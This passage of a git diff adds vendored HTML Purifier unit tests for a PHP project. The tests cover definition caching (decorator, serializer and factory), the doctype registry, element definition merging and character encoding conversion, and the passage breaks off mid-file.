+ $this->setupMockForFailure('set', 'get');
+ $this->assertEqual($this->cache->set($this->def, $this->config), false);
+ $this->cache->get($this->config);
+ }
+
+ public function test_replace()
+ {
+ $this->setupMockForSuccess('replace', 'get');
+ $this->assertEqual($this->cache->replace($this->def, $this->config), true);
+ $this->assertEqual($this->cache->get($this->config), $this->def);
+ }
+
+ public function test_replace_failure()
+ {
+ $this->setupMockForFailure('replace', 'get');
+ $this->assertEqual($this->cache->replace($this->def, $this->config), false);
+ $this->cache->get($this->config);
+ }
+
+ public function test_add()
+ {
+ $this->setupMockForSuccess('add', 'get');
+ $this->assertEqual($this->cache->add($this->def, $this->config), true);
+ $this->assertEqual($this->cache->get($this->config), $this->def);
+ }
+
+ public function test_add_failure()
+ {
+ $this->setupMockForFailure('add', 'get');
+ $this->assertEqual($this->cache->add($this->def, $this->config), false);
+ $this->cache->get($this->config);
+ }
+
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/DefinitionCache/DecoratorHarness.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/DefinitionCache/DecoratorHarness.php
new file mode 100644
index 000000000..43db45afb
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/DefinitionCache/DecoratorHarness.php
@@ -0,0 +1,25 @@
+<?php
+
+generate_mock_once('HTMLPurifier_DefinitionCache');
+
+class HTMLPurifier_DefinitionCache_DecoratorHarness extends HTMLPurifier_DefinitionCacheHarness
+{
+
+ public function setup()
+ {
+ $this->mock = new HTMLPurifier_DefinitionCacheMock();
+ $this->mock->type = 'Test';
+ $this->cache = $this->cache->decorate($this->mock);
+ $this->def = $this->generateDefinition();
+ $this->config = $this->generateConfigMock();
+ }
+
+ public function teardown()
+ {
+ unset($this->mock);
+ unset($this->cache);
+ }
+
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/DefinitionCache/DecoratorTest.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/DefinitionCache/DecoratorTest.php
new file mode 100644
index 000000000..ed560687d
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/DefinitionCache/DecoratorTest.php
@@ -0,0 +1,42 @@
+<?php
+
+class HTMLPurifier_DefinitionCache_DecoratorTest extends HTMLPurifier_DefinitionCacheHarness
+{
+
+ public function test()
+ {
+ generate_mock_once('HTMLPurifier_DefinitionCache');
+ $mock = new HTMLPurifier_DefinitionCacheMock();
+ $mock->type = 'Test';
+
+ $cache = new HTMLPurifier_DefinitionCache_Decorator();
+ $cache = $cache->decorate($mock);
+
+ $this->assertIdentical($cache->type, $mock->type);
+
+ $def = $this->generateDefinition();
+ $config = $this->generateConfigMock();
+
+ $mock->expectOnce('add', array($def, $config));
+ $cache->add($def, $config);
+
+ $mock->expectOnce('set', array($def, $config));
+ $cache->set($def, $config);
+
+ $mock->expectOnce('replace', array($def, $config));
+ $cache->replace($def, $config);
+
+ $mock->expectOnce('get', array($config));
+ $cache->get($config);
+
+ $mock->expectOnce('flush', array($config));
+ $cache->flush($config);
+
+ $mock->expectOnce('cleanup', array($config));
+ $cache->cleanup($config);
+
+ }
+
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/DefinitionCache/SerializerTest.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/DefinitionCache/SerializerTest.php
new file mode 100644
index 000000000..badf9d982
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/DefinitionCache/SerializerTest.php
@@ -0,0 +1,229 @@
+<?php
+
+class HTMLPurifier_DefinitionCache_SerializerTest extends HTMLPurifier_DefinitionCacheHarness
+{
+
+ public function test()
+ {
+ // XXX SimpleTest does some really crazy stuff in the background
+ // to do equality checks. Unfortunately, this makes some
+ // versions of PHP segfault. So we need to define a better,
+ // homebrew notion of equality and use that instead. For now,
+ // the identical asserts are commented out.
+
+ $cache = new HTMLPurifier_DefinitionCache_Serializer('Test');
+
+ $config = $this->generateConfigMock('serial');
+ $config->setReturnValue('get', 2, array('Test.DefinitionRev'));
+ $config->version = '1.0.0';
+
+ $config_md5 = '1.0.0,serial,2';
+
+ $file = realpath(
+ $rel_file = HTMLPURIFIER_PREFIX . '/HTMLPurifier/DefinitionCache/Serializer/Test/' .
+ $config_md5 . '.ser'
+ );
+ if($file && file_exists($file)) unlink($file); // prevent previous failures from causing problems
+
+ $this->assertIdentical($config_md5, $cache->generateKey($config));
+
+ $def_original = $this->generateDefinition();
+
+ $cache->add($def_original, $config);
+ $this->assertFileExist($rel_file);
+
+ $file_generated = $cache->generateFilePath($config);
+ $this->assertIdentical(realpath($rel_file), realpath($file_generated));
+
+ $def_1 = $cache->get($config);
+ // $this->assertIdentical($def_original, $def_1);
+
+ $def_original->info_random = 'changed';
+
+ $cache->set($def_original, $config);
+ $def_2 = $cache->get($config);
+
+ // $this->assertIdentical($def_original, $def_2);
+ // $this->assertNotEqual ($def_original, $def_1);
+
+ $def_original->info_random = 'did it change?';
+
+ $this->assertFalse($cache->add($def_original, $config));
+ $def_3 = $cache->get($config);
+
+ // $this->assertNotEqual ($def_original, $def_3); // did not change!
+ // $this->assertIdentical($def_3, $def_2);
+
+ $cache->replace($def_original, $config);
+ $def_4 = $cache->get($config);
+ // $this->assertIdentical($def_original, $def_4);
+
+ $cache->remove($config);
+ $this->assertFileNotExist($file);
+
+ $this->assertFalse($cache->replace($def_original, $config));
+ $def_5 = $cache->get($config);
+ $this->assertFalse($def_5);
+
+ }
+
+ public function test_errors()
+ {
+ $cache = new HTMLPurifier_DefinitionCache_Serializer('Test');
+ $def = $this->generateDefinition();
+ $def->setup = true;
+ $def->type = 'NotTest';
+ $config = $this->generateConfigMock('testfoo');
+
+ $this->expectError('Cannot use definition of type NotTest in cache for Test');
+ $cache->add($def, $config);
+
+ $this->expectError('Cannot use definition of type NotTest in cache for Test');
+ $cache->set($def, $config);
+
+ $this->expectError('Cannot use definition of type NotTest in cache for Test');
+ $cache->replace($def, $config);
+ }
+
+ public function test_flush()
+ {
+ $cache = new HTMLPurifier_DefinitionCache_Serializer('Test');
+
+ $config1 = $this->generateConfigMock('test1');
+ $config2 = $this->generateConfigMock('test2');
+ $config3 = $this->generateConfigMock('test3');
+
+ $def1 = $this->generateDefinition(array('info_candles' => 1));
+ $def2 = $this->generateDefinition(array('info_candles' => 2));
+ $def3 = $this->generateDefinition(array('info_candles' => 3));
+
+ $cache->add($def1, $config1);
+ $cache->add($def2, $config2);
+ $cache->add($def3, $config3);
+
+ $this->assertEqual($def1, $cache->get($config1));
+ $this->assertEqual($def2, $cache->get($config2));
+ $this->assertEqual($def3, $cache->get($config3));
+
+ $cache->flush($config1); // only essential directive is %Cache.SerializerPath
+
+ $this->assertFalse($cache->get($config1));
+ $this->assertFalse($cache->get($config2));
+ $this->assertFalse($cache->get($config3));
+
+ }
+
+ public function testCleanup()
+ {
+ $cache = new HTMLPurifier_DefinitionCache_Serializer('Test');
+
+ // in order of age, oldest first
+ // note that configurations are all identical, but version/revision
+ // are different
+
+ $config1 = $this->generateConfigMock();
+ $config1->version = '0.9.0';
+ $config1->setReturnValue('get', 574, array('Test.DefinitionRev'));
+ $def1 = $this->generateDefinition(array('info' => 1));
+
+ $config2 = $this->generateConfigMock();
+ $config2->version = '1.0.0beta';
+ $config2->setReturnValue('get', 1, array('Test.DefinitionRev'));
+ $def2 = $this->generateDefinition(array('info' => 3));
+
+ $cache->set($def1, $config1);
+ $cache->cleanup($config1);
+ $this->assertEqual($def1, $cache->get($config1)); // no change
+
+ $cache->cleanup($config2);
+ $this->assertFalse($cache->get($config1));
+ $this->assertFalse($cache->get($config2));
+
+ }
+
+ public function testCleanupOnlySameID()
+ {
+ $cache = new HTMLPurifier_DefinitionCache_Serializer('Test');
+
+ $config1 = $this->generateConfigMock('serial1');
+ $config1->version = '1.0.0';
+ $config1->setReturnValue('get', 1, array('Test.DefinitionRev'));
+ $def1 = $this->generateDefinition(array('info' => 1));
+
+ $config2 = $this->generateConfigMock('serial2');
+ $config2->version = '1.0.0';
+ $config2->setReturnValue('get', 34, array('Test.DefinitionRev'));
+ $def2 = $this->generateDefinition(array('info' => 3));
+
+ $cache->set($def1, $config1);
+ $cache->cleanup($config1);
+ $this->assertEqual($def1, $cache->get($config1)); // no change
+
+ $cache->set($def2, $config2);
+ $cache->cleanup($config2);
+ $this->assertEqual($def1, $cache->get($config1));
+ $this->assertEqual($def2, $cache->get($config2));
+
+ $cache->flush($config1);
+ }
+
+ /**
+ * Asserts that a file exists, ignoring the stat cache
+ */
+ public function assertFileExist($file)
+ {
+ clearstatcache();
+ $this->assertTrue(file_exists($file), 'Expected ' . $file . ' exists');
+ }
+
+ /**
+ * Asserts that a file does not exist, ignoring the stat cache
+ */
+ public function assertFileNotExist($file)
+ {
+ clearstatcache();
+ $this->assertFalse(file_exists($file), 'Expected ' . $file . ' does not exist');
+ }
+
+ public function testAlternatePath()
+ {
+ $cache = new HTMLPurifier_DefinitionCache_Serializer('Test');
+ $config = $this->generateConfigMock('serial');
+ $config->version = '1.0.0';
+ $config->setReturnValue('get', 1, array('Test.DefinitionRev'));
+ $dir = dirname(__FILE__) . '/SerializerTest';
+ $config->setReturnValue('get', $dir, array('Cache.SerializerPath'));
+
+ $def_original = $this->generateDefinition();
+ $cache->add($def_original, $config);
+ $this->assertFileExist($dir . '/Test/1.0.0,serial,1.ser');
+
+ unlink($dir . '/Test/1.0.0,serial,1.ser');
+ rmdir( $dir . '/Test');
+
+ }
+
+ public function testAlternatePermissions()
+ {
+ $cache = new HTMLPurifier_DefinitionCache_Serializer('Test');
+ $config = $this->generateConfigMock('serial');
+ $config->version = '1.0.0';
+ $config->setReturnValue('get', 1, array('Test.DefinitionRev'));
+ $dir = dirname(__FILE__) . '/SerializerTest';
+ $config->setReturnValue('get', $dir, array('Cache.SerializerPath'));
+ $config->setReturnValue('get', 0777, array('Cache.SerializerPermissions'));
+
+ $def_original = $this->generateDefinition();
+ $cache->add($def_original, $config);
+ $this->assertFileExist($dir . '/Test/1.0.0,serial,1.ser');
+
+ $this->assertEqual(0666, 0777 & fileperms($dir . '/Test/1.0.0,serial,1.ser'));
+ $this->assertEqual(0777, 0777 & fileperms($dir . '/Test'));
+
+ unlink($dir . '/Test/1.0.0,serial,1.ser');
+ rmdir( $dir . '/Test');
+
+ }
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/DefinitionCache/SerializerTest/README b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/DefinitionCache/SerializerTest/README
new file mode 100644
index 000000000..2e35c1c3d
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/DefinitionCache/SerializerTest/README
@@ -0,0 +1,3 @@
+This is a dummy file to prevent Git from ignoring this empty directory.
+
+ vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/DefinitionCacheFactoryTest.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/DefinitionCacheFactoryTest.php
new file mode 100644
index 000000000..fe27e0d51
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/DefinitionCacheFactoryTest.php
@@ -0,0 +1,79 @@
+<?php
+
+class HTMLPurifier_DefinitionCacheFactoryTest extends HTMLPurifier_Harness
+{
+
+ protected $factory;
+ protected $oldFactory;
+
+ public function setUp()
+ {
+ parent::setup();
+ $this->factory = new HTMLPurifier_DefinitionCacheFactory();
+ $this->oldFactory = HTMLPurifier_DefinitionCacheFactory::instance();
+ HTMLPurifier_DefinitionCacheFactory::instance($this->factory);
+ }
+
+ public function tearDown()
+ {
+ HTMLPurifier_DefinitionCacheFactory::instance($this->oldFactory);
+ }
+
+ public function test_create()
+ {
+ $cache = $this->factory->create('Test', $this->config);
+ $this->assertEqual($cache, new HTMLPurifier_DefinitionCache_Serializer('Test'));
+ }
+
+ public function test_create_withDecorator()
+ {
+ $this->factory->addDecorator('Memory');
+ $cache = $this->factory->create('Test', $this->config);
+ $cache_real = new HTMLPurifier_DefinitionCache_Decorator_Memory();
+ $cache_real = $cache_real->decorate(new HTMLPurifier_DefinitionCache_Serializer('Test'));
+ $this->assertEqual($cache, $cache_real);
+ }
+
+ public function test_create_withDecoratorObject()
+ {
+ $this->factory->addDecorator(new HTMLPurifier_DefinitionCache_Decorator_Memory());
+ $cache = $this->factory->create('Test', $this->config);
+ $cache_real = new HTMLPurifier_DefinitionCache_Decorator_Memory();
+ $cache_real = $cache_real->decorate(new HTMLPurifier_DefinitionCache_Serializer('Test'));
+ $this->assertEqual($cache, $cache_real);
+ }
+
+ public function test_create_recycling()
+ {
+ $cache = $this->factory->create('Test', $this->config);
+ $cache2 = $this->factory->create('Test', $this->config);
+ $this->assertReference($cache, $cache2);
+ }
+
+ public function test_create_invalid()
+ {
+ $this->config->set('Cache.DefinitionImpl', 'Invalid');
+ $this->expectError('Unrecognized DefinitionCache Invalid, using Serializer instead');
+ $cache = $this->factory->create('Test', $this->config);
+ $this->assertIsA($cache, 'HTMLPurifier_DefinitionCache_Serializer');
+ }
+
+ public function test_null()
+ {
+ $this->config->set('Cache.DefinitionImpl', null);
+ $cache = $this->factory->create('Test', $this->config);
+ $this->assertEqual($cache, new HTMLPurifier_DefinitionCache_Null('Test'));
+ }
+
+ public function test_register()
+ {
+ generate_mock_once('HTMLPurifier_DefinitionCache');
+ $this->config->set('Cache.DefinitionImpl', 'TestCache');
+ $this->factory->register('TestCache', $class = 'HTMLPurifier_DefinitionCacheMock');
+ $cache = $this->factory->create('Test', $this->config);
+ $this->assertIsA($cache, $class);
+ }
+
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/DefinitionCacheHarness.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/DefinitionCacheHarness.php
new file mode 100644
index 000000000..646e8bdb3
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/DefinitionCacheHarness.php
@@ -0,0 +1,36 @@
+<?php
+
+class HTMLPurifier_DefinitionCacheHarness extends HTMLPurifier_Harness
+{
+
+ /**
+ * Generate a configuration mock object that returns $values
+ * to a getBatch() call
+ * @param $values Values to return when getBatch is invoked
+ */
+ protected function generateConfigMock($serial = 'defaultserial')
+ {
+ generate_mock_once('HTMLPurifier_Config');
+ $config = new HTMLPurifier_ConfigMock();
+ $config->setReturnValue('getBatchSerial', $serial, array('Test'));
+ $config->version = '1.0.0';
+ return $config;
+ }
+
+ /**
+ * Returns an anonymous def that has been setup and named Test
+ */
+ protected function generateDefinition($member_vars = array())
+ {
+ $def = new HTMLPurifier_DefinitionTestable();
+ $def->setup = true;
+ $def->type = 'Test';
+ foreach ($member_vars as $key => $val) {
+ $def->$key = $val;
+ }
+ return $def;
+ }
+
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/DefinitionCacheTest.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/DefinitionCacheTest.php
new file mode 100644
index 000000000..d6c06759c
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/DefinitionCacheTest.php
@@ -0,0 +1,33 @@
+<?php
+
+class HTMLPurifier_DefinitionCacheTest extends HTMLPurifier_Harness
+{
+
+ public function test_isOld()
+ {
+ // using null subclass because parent is abstract
+ $cache = new HTMLPurifier_DefinitionCache_Null('Test');
+
+ generate_mock_once('HTMLPurifier_Config');
+ $config = new HTMLPurifier_ConfigMock();
+ $config->version = '1.0.0'; // hopefully no conflicts
+ $config->setReturnValue('get', 10, array('Test.DefinitionRev'));
+ $config->setReturnValue('getBatchSerial', 'hash', array('Test'));
+
+ $this->assertIdentical($cache->isOld('1.0.0,hash,10', $config), false);
+ $this->assertIdentical($cache->isOld('1.5.0,hash,1', $config), true);
+
+ $this->assertIdentical($cache->isOld('0.9.0,hash,1', $config), true);
+ $this->assertIdentical($cache->isOld('1.0.0,hash,1', $config), true);
+ $this->assertIdentical($cache->isOld('1.0.0beta,hash,11', $config), true);
+
+ $this->assertIdentical($cache->isOld('0.9.0,hash2,1', $config), true);
+ $this->assertIdentical($cache->isOld('1.0.0,hash2,1', $config), false); // if hash is different, don't touch!
+ $this->assertIdentical($cache->isOld('1.0.0beta,hash2,11', $config), true);
+ $this->assertIdentical($cache->isOld('1.0.0-dev,hash2,11', $config), true);
+
+ }
+
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/DefinitionTest.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/DefinitionTest.php
new file mode 100644
index 000000000..826e2b6c4
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/DefinitionTest.php
@@ -0,0 +1,22 @@
+<?php
+
+class HTMLPurifier_DefinitionTest extends HTMLPurifier_Harness
+{
+ public function test_setup()
+ {
+ $def = new HTMLPurifier_DefinitionTestable();
+ $config = HTMLPurifier_Config::createDefault();
+ $def->expectOnce('doSetup', array($config));
+ $def->setup($config);
+ }
+ public function test_setup_redundant()
+ {
+ $def = new HTMLPurifier_DefinitionTestable();
+ $config = HTMLPurifier_Config::createDefault();
+ $def->expectNever('doSetup');
+ $def->setup = true;
+ $def->setup($config);
+ }
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/DefinitionTestable.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/DefinitionTestable.php
new file mode 100644
index 000000000..312c57bb4
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/DefinitionTestable.php
@@ -0,0 +1,8 @@
+<?php
+
+Mock::generatePartial(
+ 'HTMLPurifier_Definition',
+ 'HTMLPurifier_DefinitionTestable',
+ array('doSetup'));
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/DoctypeRegistryTest.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/DoctypeRegistryTest.php
new file mode 100644
index 000000000..b1012b1b4
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/DoctypeRegistryTest.php
@@ -0,0 +1,77 @@
+<?php
+
+class HTMLPurifier_DoctypeRegistryTest extends HTMLPurifier_Harness
+{
+
+ public function test_register()
+ {
+ $registry = new HTMLPurifier_DoctypeRegistry();
+
+ $d = $registry->register(
+ $name = 'XHTML 1.0 Transitional',
+ $xml = true,
+ $modules = array('module-one', 'module-two'),
+ $tidyModules = array('lenient-module'),
+ $aliases = array('X10T')
+ );
+
+ $d2 = new HTMLPurifier_Doctype($name, $xml, $modules, $tidyModules, $aliases);
+
+ $this->assertIdentical($d, $d2);
+ $this->assertSame($d, $registry->get('XHTML 1.0 Transitional'));
+
+ // test shorthand
+ $d = $registry->register(
+ $name = 'XHTML 1.0 Strict', true, 'module', 'Tidy', 'X10S'
+ );
+ $d2 = new HTMLPurifier_Doctype($name, true, array('module'), array('Tidy'), array('X10S'));
+
+ $this->assertIdentical($d, $d2);
+
+ }
+
+ public function test_get()
+ {
+ // see also alias and register tests
+
+ $registry = new HTMLPurifier_DoctypeRegistry();
+
+ $this->expectError('Doctype XHTML 2.0 does not exist');
+ $registry->get('XHTML 2.0');
+
+ // prevent XSS
+ $this->expectError('Doctype &lt;foo&gt; does not exist');
+ $registry->get('<foo>');
+
+ }
+
+ public function testAliases()
+ {
+ $registry = new HTMLPurifier_DoctypeRegistry();
+
+ $d1 = $registry->register('Doc1', true, array(), array(), array('1'));
+
+ $this->assertSame($d1, $registry->get('Doc1'));
+ $this->assertSame($d1, $registry->get('1'));
+
+ $d2 = $registry->register('Doc2', true, array(), array(), array('2'));
+
+ $this->assertSame($d2, $registry->get('Doc2'));
+ $this->assertSame($d2, $registry->get('2'));
+
+ $d3 = $registry->register('1', true, array(), array(), array());
+
+ // literal name overrides alias
+ $this->assertSame($d3, $registry->get('1'));
+
+ $d4 = $registry->register('One', true, array(), array(), array('1'));
+
+ $this->assertSame($d4, $registry->get('One'));
+ // still it overrides
+ $this->assertSame($d3, $registry->get('1'));
+
+ }
+
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ElementDefTest.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ElementDefTest.php
new file mode 100644
index 000000000..31ef8cf68
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ElementDefTest.php
@@ -0,0 +1,102 @@
+<?php
+
+class HTMLPurifier_ElementDefTest extends HTMLPurifier_Harness
+{
+
+ public function test_mergeIn()
+ {
+ $def1 = new HTMLPurifier_ElementDef();
+ $def2 = new HTMLPurifier_ElementDef();
+ $def3 = new HTMLPurifier_ElementDef();
+
+ $old = 1;
+ $new = 2;
+ $overloaded_old = 3;
+ $overloaded_new = 4;
+ $removed = 5;
+
+ $def1->standalone = true;
+ $def1->attr = array(
+ 0 => array('old-include'),
+ 'old-attr' => $old,
+ 'overloaded-attr' => $overloaded_old,
+ 'removed-attr' => $removed,
+ );
+ /*
+ $def1->attr_transform_pre =
+ $def1->attr_transform_post = array(
+ 'old-transform' => $old,
+ 'overloaded-transform' => $overloaded_old,
+ 'removed-transform' => $removed,
+ );
+ */
+ $def1->attr_transform_pre[] = $old;
+ $def1->attr_transform_post[] = $old;
+ $def1->child = $overloaded_old;
+ $def1->content_model = 'old';
+ $def1->content_model_type = $overloaded_old;
+ $def1->descendants_are_inline = false;
+ $def1->excludes = array(
+ 'old' => true,
+ 'removed-old' => true
+ );
+
+ $def2->standalone = false;
+ $def2->attr = array(
+ 0 => array('new-include'),
+ 'new-attr' => $new,
+ 'overloaded-attr' => $overloaded_new,
+ 'removed-attr' => false,
+ );
+ /*
+ $def2->attr_transform_pre =
+ $def2->attr_transform_post = array(
+ 'new-transform' => $new,
+ 'overloaded-transform' => $overloaded_new,
+ 'removed-transform' => false,
+ );
+ */
+ $def2->attr_transform_pre[] = $new;
+ $def2->attr_transform_post[] = $new;
+ $def2->child = $new;
+ $def2->content_model = '#SUPER | new';
+ $def2->content_model_type = $overloaded_new;
+ $def2->descendants_are_inline = true;
+ $def2->excludes = array(
+ 'new' => true,
+ 'removed-old' => false
+ );
+
+ $def1->mergeIn($def2);
+ $def1->mergeIn($def3); // empty, has no effect
+
+ $this->assertIdentical($def1->standalone, true);
+ $this->assertIdentical($def1->attr, array(
+ 0 => array('old-include', 'new-include'),
+ 'old-attr' => $old,
+ 'overloaded-attr' => $overloaded_new,
+ 'new-attr' => $new,
+ ));
+ $this->assertIdentical($def1->attr_transform_pre, $def1->attr_transform_post);
+ $this->assertIdentical($def1->attr_transform_pre, array($old, $new));
+ /*
+ $this->assertIdentical($def1->attr_transform_pre, array(
+ 'old-transform' => $old,
+ 'overloaded-transform' => $overloaded_new,
+ 'new-transform' => $new,
+ ));
+ */
+ $this->assertIdentical($def1->child, $new);
+ $this->assertIdentical($def1->content_model, 'old | new');
+ $this->assertIdentical($def1->content_model_type, $overloaded_new);
+ $this->assertIdentical($def1->descendants_are_inline, true);
+ $this->assertIdentical($def1->excludes, array(
+ 'old' => true,
+ 'new' => true
+ ));
+
+ }
+
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/EncoderTest.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/EncoderTest.php
new file mode 100644
index 000000000..819d4b117
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/EncoderTest.php
@@ -0,0 +1,238 @@
+<?php
+
+class HTMLPurifier_EncoderTest extends HTMLPurifier_Harness
+{
+
+ protected $_entity_lookup;
+
+ public function setUp()
+ {
+ $this->_entity_lookup = HTMLPurifier_EntityLookup::instance();
+ parent::setUp();
+ }
+
+ public function assertCleanUTF8($string, $expect = null)
+ {
+ if ($expect === null) $expect = $string;
+ $this->assertIdentical(HTMLPurifier_Encoder::cleanUTF8($string), $expect, 'iconv: %s');
+ $this->assertIdentical(HTMLPurifier_Encoder::cleanUTF8($string, true), $expect, 'PHP: %s');
+ }
+
+ public function test_cleanUTF8()
+ {
+ $this->assertCleanUTF8('Normal string.');
+ $this->assertCleanUTF8("Test\tAllowed\nControl\rCharacters");
+ $this->assertCleanUTF8("null byte: \0", 'null byte: ');
+ $this->assertCleanUTF8("\1\2\3\4\5\6\7", '');
+ $this->assertCleanUTF8("\x7F", ''); // one byte invalid SGML char
+ $this->assertCleanUTF8("\xC2\x80", ''); // two byte invalid SGML
+ $this->assertCleanUTF8("\xF3\xBF\xBF\xBF"); // valid four byte
+ $this->assertCleanUTF8("\xDF\xFF", ''); // malformed UTF8
+ // invalid codepoints
+ $this->assertCleanUTF8("\xED\xB0\x80", '');
+ }
+
+ public function test_convertToUTF8_noConvert()
+ {
+ // UTF-8 means that we don't touch it
+ $this->assertIdentical(
+ HTMLPurifier_Encoder::convertToUTF8("\xF6", $this->config, $this->context),
+ "\xF6", // this is invalid
+ 'Expected identical [Binary: F6]'
+ );
+ }
+
+ public function test_convertToUTF8_spuriousEncoding()
+ {
+ if (!HTMLPurifier_Encoder::iconvAvailable()) return;
+ $this->config->set('Core.Encoding', 'utf99');
+ $this->expectError('Invalid encoding utf99');
+ $this->assertIdentical(
+ HTMLPurifier_Encoder::convertToUTF8("\xF6", $this->config, $this->context),
+ ''
+ );
+ }
+
+ public function test_convertToUTF8_iso8859_1()
+ {
+ $this->config->set('Core.Encoding', 'ISO-8859-1');
+ $this->assertIdentical(
+ HTMLPurifier_Encoder::convertToUTF8("\xF6", $this->config, $this->context),
+ "\xC3\xB6"
+ );
+ }
+
+ public function test_convertToUTF8_withoutIconv()
+ {
+ $this->config->set('Core.Encoding', 'ISO-8859-1');
+ $this->config->set('Test.ForceNoIconv', true);
+ $this->assertIdentical(
+ HTMLPurifier_Encoder::convertToUTF8("\xF6", $this->config, $this->context),
+ "\xC3\xB6"
+ );
+
+ }
+
+ public function getZhongWen()
+ {
+ return "\xE4\xB8\xAD\xE6\x96\x87 (Chinese)";
+ }
+
+ public function test_convertFromUTF8_utf8()
+ {
+ // UTF-8 means that we don't touch it
+ $this->assertIdentical(
+ HTMLPurifier_Encoder::convertFromUTF8("\xC3\xB6", $this->config, $this->context),
+ "\xC3\xB6"
+ );
+ }
+
+ public function test_convertFromUTF8_iso8859_1()
+ {
+ $this->config->set('Core.Encoding', 'ISO-8859-1');
+ $this->assertIdentical(
+ HTMLPurifier_Encoder::convertFromUTF8("\xC3\xB6", $this->config, $this->context),
+ "\xF6",
+ 'Expected identical [Binary: F6]'
+ );
+ }
+
+ public function test_convertFromUTF8_iconvNoChars()
+ {
+ if (!HTMLPurifier_Encoder::iconvAvailable()) return;
+ $this->config->set('Core.Encoding', 'ISO-8859-1');
+ $this->assertIdentical(
+ HTMLPurifier_Encoder::convertFromUTF8($this->getZhongWen(), $this->config, $this->context),
+ " (Chinese)"
+ );
+ }
+
+ public function test_convertFromUTF8_phpNormal()
+ {
+ // Plain PHP implementation has slightly different behavior
+ $this->config->set('Core.Encoding', 'ISO-8859-1');
+ $this->config->set('Test.ForceNoIconv', true);
+ $this->assertIdentical(
+ HTMLPurifier_Encoder::convertFromUTF8("\xC3\xB6", $this->config, $this->context),
+ "\xF6",
+ 'Expected identical [Binary: F6]'
+ );
+ }
+
+ public function test_convertFromUTF8_phpNoChars()
+ {
+ $this->config->set('Core.Encoding', 'ISO-8859-1');
+ $this->config->set('Test.ForceNoIconv', true);
+ $this->assertIdentical(
+ HTMLPurifier_Encoder::convertFromUTF8($this->getZhongWen(), $this->config, $this->context),
+ "?? (Chinese)"
+ );
+ }
+
+ public function test_convertFromUTF8_withProtection()
+ {
+ // Preserve the characters!
+ $this->config->set('Core.Encoding', 'ISO-8859-1');
+ $this->config->set('Core.EscapeNonASCIICharacters', true);
+ $this->assertIdentical(
+ HTMLPurifier_Encoder::convertFromUTF8($this->getZhongWen(), $this->config, $this->context),
+ "&#20013;&#25991; (Chinese)"
+ );
+ }
+
+ public function test_convertFromUTF8_withProtectionButUtf8()
+ {
+ // Preserve the characters!
+ $this->config->set('Core.EscapeNonASCIICharacters', true);
+ $this->assertIdentical(
+ HTMLPurifier_Encoder::convertFromUTF8($this->getZhongWen(), $this->config, $this->context),
+ "&#20013;&#25991; (Chinese)"
+ );
+ }
+
+ public function test_convertToASCIIDumbLossless()
+ {
+ // Uppercase thorn letter
+ $this->assertIdentical(
+ HTMLPurifier_Encoder::convertToASCIIDumbLossless("\xC3\x9Eorn"),
+ "&#222;orn"
+ );
+
+ $this->assertIdentical(
+ HTMLPurifier_Encoder::convertToASCIIDumbLossless("an"),
+ "an"
+ );
+
+ // test up to four bytes
+ $this->assertIdentical(
+ HTMLPurifier_Encoder::convertToASCIIDumbLossless("\xF3\xA0\x80\xA0"),
+ "&#917536;"
+ );
+
+ }
+
+ public function assertASCIISupportCheck($enc, $ret)
+ {
+ $test = HTMLPurifier_Encoder::testEncodingSupportsASCII($enc, true);
+ if ($test === false) return;
+ $this->assertIdentical(
+ HTMLPurifier_Encoder::testEncodingSupportsASCII($enc),
+ $ret
+ );
+ $this->assertIdentical(
+ HTMLPurifier_Encoder::testEncodingSupportsASCII($enc, true),
+ $ret
+ );
+ }
+
+ public function test_testEncodingSupportsASCII()
+ {
+ if (HTMLPurifier_Encoder::iconvAvailable()) {
+ $this->assertASCIISupportCheck('Shift_JIS', array("\xC2\xA5" => '\\', "\xE2\x80\xBE" => '~'));
